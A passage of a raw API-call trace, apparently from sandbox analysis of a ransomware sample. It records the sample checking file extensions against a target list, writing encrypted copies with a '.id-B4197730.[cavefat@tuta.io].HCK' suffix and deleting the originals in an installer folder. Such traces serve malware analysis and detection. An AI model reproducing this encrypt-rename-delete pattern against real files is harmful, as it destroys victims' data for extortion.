hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=77748) returned 1 [0148.301] CloseHandle (hObject=0x300) returned 1 [0148.301] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0148.301] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.301] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.302] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.302] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.302] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0148.302] GetLastError () returned 0x0 [0148.302] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x12fb4, lpOverlapped=0x0) returned 1 [0148.304] WriteFile (in: hFile=0x2f8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x12fc0, lpOverlapped=0x0) returned 1 [0148.306] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.306] WriteFile (in: hFile=0x2f8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.306] SetEndOfFile (hFile=0x2f8) returned 1 [0148.306] CloseHandle (hObject=0x2f8) returned 1 [0148.308] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.308] SetEndOfFile (hFile=0x300) returned 1 [0148.309] CloseHandle (hObject=0x300) returned 1 [0148.309] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.309] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1 [0148.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0148.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0148.309] lstrlenW (lpString=".doc") returned 4 [0148.309] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.309] lstrlenW (lpString=".docx") returned 5 [0148.309] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.309] lstrlenW (lpString=".pdf") returned 4 [0148.309] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.309] lstrlenW (lpString=".xls") returned 4 [0148.309] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.309] lstrlenW (lpString=".xlsx") returned 5 [0148.309] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.309] lstrlenW (lpString=".ppt") returned 4 [0148.309] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.309] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0148.309] lstrlenW (lpString=".zip") returned 4 [0148.310] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.310] lstrlenW (lpString=".rar") returned 4 [0148.310] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.310] lstrlenW (lpString=".bz2") returned 4 [0148.310] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.310] lstrlenW (lpString=".7z") returned 3 [0148.310] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0148.310] lstrlenW (lpString=".dbf") returned 4 [0148.310] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0148.310] lstrlenW (lpString=".1cd") returned 4 [0148.310] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0148.310] lstrlenW (lpString=".jpg") returned 4 [0148.310] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0148.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0148.310] lstrlenW (lpString=".doc") returned 4 [0148.310] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.310] lstrlenW (lpString=".docx") returned 5 [0148.310] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.310] lstrlenW (lpString=".pdf") returned 4 [0148.310] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.310] lstrlenW (lpString=".xls") returned 4 [0148.310] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.310] lstrlenW (lpString=".xlsx") returned 5 [0148.310] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.310] lstrlenW (lpString=".ppt") returned 4 [0148.310] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0148.310] lstrlenW (lpString=".zip") returned 4 [0148.310] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.310] lstrlenW (lpString=".rar") returned 4 [0148.310] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.310] lstrlenW (lpString=".bz2") returned 4 [0148.310] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.310] lstrlenW (lpString=".7z") returned 3 [0148.310] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0148.310] lstrlenW (lpString=".dbf") returned 4 [0148.310] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0148.310] lstrlenW (lpString=".1cd") returned 4 [0148.310] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0148.310] lstrlenW (lpString=".jpg") returned 4 [0148.310] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.311] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.311] lstrlenW (lpString="eula.rtf") returned 8 [0148.311] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.311] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3702) returned 1 [0148.311] CloseHandle (hObject=0x300) returned 1 [0148.311] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0148.311] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.311] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.311] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.311] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.311] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0148.312] GetLastError () returned 0x0 [0148.312] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xe76, lpOverlapped=0x0) returned 1 [0148.314] WriteFile (in: hFile=0x2f8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xe80, lpOverlapped=0x0) returned 1 [0148.314] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.315] WriteFile (in: hFile=0x2f8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.315] SetEndOfFile (hFile=0x2f8) returned 1 [0148.315] CloseHandle (hObject=0x2f8) returned 1 [0148.315] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.315] SetEndOfFile (hFile=0x300) returned 1 [0148.316] CloseHandle (hObject=0x300) returned 1 [0148.316] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.316] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1 [0148.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0148.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0148.317] lstrlenW (lpString=".doc") returned 4 [0148.317] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.317] lstrlenW (lpString=".docx") returned 5 [0148.317] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.317] lstrlenW (lpString=".pdf") returned 4 [0148.317] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.317] lstrlenW (lpString=".xls") returned 4 [0148.317] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.317] lstrlenW (lpString=".xlsx") returned 5 [0148.317] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.317] lstrlenW (lpString=".ppt") returned 4 [0148.317] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0148.317] lstrlenW (lpString=".zip") returned 4 [0148.317] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.317] lstrlenW (lpString=".rar") returned 4 [0148.317] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.317] lstrlenW (lpString=".bz2") returned 4 [0148.317] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.317] lstrlenW (lpString=".7z") returned 3 [0148.317] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0148.317] lstrlenW (lpString=".dbf") returned 4 [0148.317] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0148.317] lstrlenW (lpString=".1cd") returned 4 [0148.317] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0148.317] lstrlenW (lpString=".jpg") returned 4 [0148.317] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0148.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0148.317] lstrlenW (lpString=".doc") returned 4 [0148.317] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.317] lstrlenW (lpString=".docx") returned 5 [0148.317] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.317] lstrlenW (lpString=".pdf") returned 4 [0148.317] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.317] lstrlenW (lpString=".xls") returned 4 [0148.317] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.317] lstrlenW (lpString=".xlsx") returned 5 [0148.317] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.317] lstrlenW (lpString=".ppt") returned 4 [0148.317] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.317] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0148.318] lstrlenW (lpString=".zip") returned 4 [0148.318] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.318] lstrlenW (lpString=".rar") returned 4 [0148.318] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.318] lstrlenW (lpString=".bz2") returned 4 [0148.318] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.318] lstrlenW (lpString=".7z") returned 3 [0148.318] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0148.318] lstrlenW (lpString=".dbf") returned 4 [0148.318] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0148.318] lstrlenW (lpString=".1cd") returned 4 [0148.318] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.318] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35 [0148.318] lstrlenW (lpString=".jpg") returned 4 [0148.318] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.318] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.318] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.318] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.318] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=77022) returned 1 [0148.318] CloseHandle (hObject=0x300) returned 1 [0148.318] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0148.318] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.318] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.319] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.319] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.319] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0148.319] GetLastError () returned 0x0 [0148.319] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x12cde, lpOverlapped=0x0) returned 1 [0148.328] WriteFile (in: hFile=0x2f8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x12ce0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x12ce0, lpOverlapped=0x0) returned 1 [0148.330] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.330] WriteFile (in: hFile=0x2f8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.330] SetEndOfFile (hFile=0x2f8) returned 1 [0148.330] CloseHandle (hObject=0x2f8) returned 1 [0148.332] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.332] SetEndOfFile (hFile=0x300) returned 1 [0148.333] CloseHandle (hObject=0x300) returned 1 [0148.333] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.333] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1 [0148.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0148.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0148.334] lstrlenW (lpString=".doc") returned 4 [0148.334] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.334] lstrlenW (lpString=".docx") returned 5 [0148.334] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.334] lstrlenW (lpString=".pdf") returned 4 [0148.334] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.334] lstrlenW (lpString=".xls") returned 4 [0148.334] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.334] lstrlenW (lpString=".xlsx") returned 5 [0148.334] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.334] lstrlenW (lpString=".ppt") returned 4 [0148.334] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0148.334] lstrlenW (lpString=".zip") returned 4 [0148.334] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.334] lstrlenW (lpString=".rar") returned 4 [0148.334] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.334] lstrlenW (lpString=".bz2") returned 4 [0148.334] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.334] lstrlenW (lpString=".7z") returned 3 [0148.334] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0148.334] lstrlenW (lpString=".dbf") returned 4 [0148.334] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0148.334] lstrlenW (lpString=".1cd") returned 4 [0148.334] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0148.334] lstrlenW (lpString=".jpg") returned 4 [0148.334] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0148.334] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0148.334] lstrlenW (lpString=".doc") returned 4 [0148.334] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.334] lstrlenW (lpString=".docx") returned 5 [0148.334] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.334] lstrlenW (lpString=".pdf") returned 4 [0148.334] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.334] lstrlenW (lpString=".xls") returned 4 [0148.334] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.334] lstrlenW (lpString=".xlsx") returned 5 [0148.335] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.335] lstrlenW (lpString=".ppt") returned 4 [0148.335] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0148.335] lstrlenW (lpString=".zip") returned 4 [0148.335] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.335] lstrlenW (lpString=".rar") returned 4 [0148.335] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.335] lstrlenW (lpString=".bz2") returned 4 [0148.335] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.335] lstrlenW (lpString=".7z") returned 3 [0148.335] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0148.335] lstrlenW (lpString=".dbf") returned 4 [0148.335] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0148.335] lstrlenW (lpString=".1cd") returned 4 [0148.335] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.335] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44 [0148.335] lstrlenW (lpString=".jpg") returned 4 [0148.335] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.335] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.335] lstrlenW (lpString="eula.rtf") returned 8 [0148.335] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.335] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3526) returned 1 [0148.335] CloseHandle (hObject=0x300) returned 1 [0148.335] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0148.335] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.335] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.336] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.336] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.336] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0148.337] GetLastError () returned 0x0 [0148.337] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xdc6, lpOverlapped=0x0) returned 1 [0148.339] WriteFile (in: hFile=0x2f8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0148.340] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.340] WriteFile (in: hFile=0x2f8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.341] SetEndOfFile (hFile=0x2f8) returned 1 [0148.341] 